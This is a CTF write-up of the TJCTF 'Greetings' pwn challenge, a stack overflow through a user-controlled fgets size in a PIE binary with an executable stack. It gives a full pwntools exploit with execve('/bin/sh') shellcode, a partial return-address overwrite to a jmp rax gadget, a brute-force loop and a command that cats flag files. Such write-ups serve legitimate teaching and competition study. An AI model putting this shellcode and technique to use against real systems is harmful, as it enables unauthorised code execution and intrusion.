Greetings
tjctf
Task: 64-bit PIE ELF with executable stack and no canary; user controls fgets size causing stack buffer overflow. Solution: inject shellcode in buffer, skip printf to preserve RAX (buffer pointer from fgets), partial-overwrite return address to jmp rax gadget with 1/16 PIE brute force.
$ ls tags/ techniques/
Greetings — TJCTF 2026
Description
Greetings from TJ to you. Find the exploit, yes please do. Remote:
nc tjc.tf 31373
We are given a 64-bit PIE ELF binary with source code. The program asks for a username size and a username, then greets the user if the name starts with @. The binary has an executable stack, no canary, and partial RELRO. A provided libc (Ubuntu GLIBC 2.42) and loader are included.
Analysis
Source Code
void greetUser() { int uname_size; char uname[64]; printf("Enter the size of your username: "); scanf("%d", &uname_size); getchar(); uname_size += 2; printf("Enter username (start with @): "); fgets(uname, uname_size, stdin); if (*(char *) uname == '@') { printf("Greetings to you: %s!", uname); } }
Vulnerability
The user controls uname_size via scanf("%d"). After +2 is added, this value is passed directly to fgets(uname, uname_size, stdin). Since uname is only 64 bytes on the stack, providing a large size causes a classic stack buffer overflow past saved registers and the return address. No stack canary protects the function.
Binary Protections
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
The executable stack (RWX) is the critical enabler — shellcode injection is viable.
Stack Layout
From disassembly of greetUser:
greetUser:
pushq %rbx ; save RBX
subq $0x50, %rsp ; allocate 0x50 = 80 bytes
rsp+0x0c: uname_size (4 bytes, int)
rsp+0x10: uname[64] (64-byte buffer)
rsp+0x50: saved RBX (8 bytes)
rsp+0x58: return address (8 bytes) -> main+9 = PIE_base + 0x1089
Offsets from uname buffer start:
- Saved RBX: offset 64 (0x40)
- Return address: offset 72 (0x48)
Key Gadgets
jmp raxat PIE offset0x10dfcall raxat PIE offset0x1010- No
jmp rsporcall rspgadgets available
The RAX Insight
The flag itself is a hint: "rAx h01ds r3t v@lS" = "RAX holds ret vals".
There are two code paths in greetUser:
- If
uname[0] == '@'(0x40):printf("Greetings to you: %s!", uname)is called, which clobbers RAX with printf's return value. - If
uname[0] != '@': printf is skipped, and RAX still holds the return value from fgets — which is the pointer to theunamebuffer on the stack.
So if we put shellcode in the buffer and DON'T start with @, RAX points to our shellcode when greetUser returns.
Solution
Strategy: Single-pass shellcode + partial overwrite to jmp rax
Since RAX holds the buffer pointer (when printf is skipped), we need to redirect execution to jmp rax (PIE offset 0x10df). The original return address is PIE_base + 0x1089 (main+9).
The Partial Overwrite Trick
Both addresses are in the 0x10XX range of the PIE image. We only need to change byte[0] of the return address from 0x89 to 0xdf.
However, fgets always null-terminates after the last byte written. If we write 73 bytes (64 buffer + 8 saved_RBX + 1 byte for return_addr[0]), the null terminator lands at return_addr[1], overwriting it with 0x00.
This works when PIE_base & 0xF000 == 0xF000 (lowest page nibble = 0xF):
- Original return addr bytes (LE):
[0x89, 0x00, ...]— byte[1] is already0x00due to the carry from0xF000 + 0x1089 = 0x10089 - After overwrite:
[0xdf, 0x00, ...]=PIE_base + 0x10df=jmp rax✓
Probability: 1/16 — need the lowest page nibble of PIE base to be 0xF.
Payload Layout (73 bytes total)
[0-22]: shellcode — execve("/bin/sh", NULL, NULL), 23 bytes
[23-63]: NOP sled (0x90 × 41)
[64-71]: junk 'B' × 8 (overwrites saved RBX, don't care)
[72]: 0xdf (overwrites return_addr byte[0])
--- fgets null-terminates here at byte 73 = return_addr[1] ---
Shellcode constraints:
- No null bytes (0x00) — fgets stops on null
- No newline (0x0a) — fgets stops on newline
- First byte must NOT be 0x40 (
@) — need to skip printf to preserve RAX
Execution Flow
- Send size
72→+2 = 74→fgetsreads up to 73 bytes - Send 73-byte payload: shellcode + NOP sled + junk RBX +
0xdf uname[0] != '@'→ printf skipped → RAX = pointer to uname buffergreetUserepilogue:addq $0x50, %rsp; popq %rbx; retqretqpops the partially-overwritten address → jumps tojmp rax(PIE_base + 0x10df)jmp rax→ jumps to buffer → shellcode executes → shell!
Working Exploit
#!/usr/bin/env python3 """ Exploit for TJCTF Greetings Single-pass: shellcode + partial overwrite to jmp rax (1/16 brute force) Key insight: when uname[0] != '@', printf is skipped and RAX still holds the fgets return value = pointer to the uname buffer on the stack. Overwrite return_addr byte[0] to 0xdf -> jmp rax gadget at PIE+0x10df. Works when PIE_base & 0xF000 == 0xF000 (prob 1/16). """ from pwn import * import sys import time context.arch = 'amd64' context.log_level = 'warn' # execve("/bin/sh", NULL, NULL) — 23 bytes, no nulls, no 0x0a, no 0x40 shellcode = bytes([ 0x48, 0x31, 0xf6, # xor rsi, rsi 0x48, 0xf7, 0xe6, # mul rsi (rax=rdx=0) 0x56, # push rsi (null terminator for string) 0x48, 0xbb, # movabs rbx, "//bin/sh" 0x2f, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x53, # push rbx 0x54, # push rsp 0x5f, # pop rdi (rdi = pointer to "//bin/sh") 0xb0, 0x3b, # mov al, 59 (syscall number for execve) 0x0f, 0x05, # syscall ]) assert b'\x00' not in shellcode, "Shellcode contains null bytes!" assert b'\x0a' not in shellcode, "Shellcode contains newline!" assert shellcode[0] != 0x40, "Shellcode starts with '@'!" def try_exploit(host, port): try: p = remote(host, port, timeout=5) # Build payload: 73 bytes total payload = shellcode # [0-22]: shellcode (23 bytes) payload += b'\x90' * (64 - len(shellcode)) # [23-63]: NOP sled payload += b'B' * 8 # [64-71]: overwrite saved RBX payload += b'\xdf' # [72]: return_addr[0] = 0xdf p.recvuntil(b'Enter the size of your username: ', timeout=3) p.sendline(b'72') # +2 = 74, fgets reads up to 73 bytes p.recvuntil(b'Enter username (start with @): ', timeout=3) p.send(payload) # No newline — fgets reads exactly 73 bytes time.sleep(0.3) p.sendline(b'echo PWNED') response = p.recv(timeout=1.5) if b'PWNED' in response: log.success("Got shell!") p.sendline(b'cat /flag* /home/*/flag* /srv/flag* ./flag* 2>/dev/null') time.sleep(0.5) flag_output = p.recv(timeout=2).decode(errors='ignore') print(f"Flag: {flag_output}") p.interactive() return True p.close() return False except Exception: return False def main(): host = sys.argv[1] if len(sys.argv) > 1 else 'tjc.tf' port = int(sys.argv[2]) if len(sys.argv) > 2 else 31373 print(f"Target: {host}:{port}") print("Brute forcing PIE (need lowest page nibble = 0xF, prob 1/16)\n") for attempt in range(1, 201): if attempt % 5 == 0: print(f"Attempt {attempt}...") if try_exploit(host, port): print(f"\nSuccess after {attempt} attempts!") break time.sleep(0.05) else: print(f"Failed after 200 attempts") if __name__ == '__main__': main()
Failed Approaches
-
Two-byte partial overwrite (
\xdf\x50) — An earlier attempt tried overwriting two bytes of the return address, but misunderstood the partial overwrite math. The null terminator at byte[2] always corrupts the address, reducing probability to ~1/4096 instead of 1/16. -
Leaking stack addresses via printf — fgets always null-terminates after the last written byte, which blocks any leak of data beyond the written region. You cannot leak saved RBX or the return address without overwriting them first.
-
3000+ brute force attempts with wrong approach — The incorrect 2-byte overwrite had ~1/4096 probability, making even 3000 attempts insufficient. The correct 1-byte overwrite at 1/16 typically succeeds within 20-30 attempts.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]ipv8— umdctf
- [pwn][free]Regularity— hackthebox
- [pwn][Pro]Taste— grodno_new_year_2026
- [pwn][Pro]Piece of cake— hackerlab
- [pwn][Pro]Говори - и будет исполнено (ask_and_you_shall_receive)— hackerlab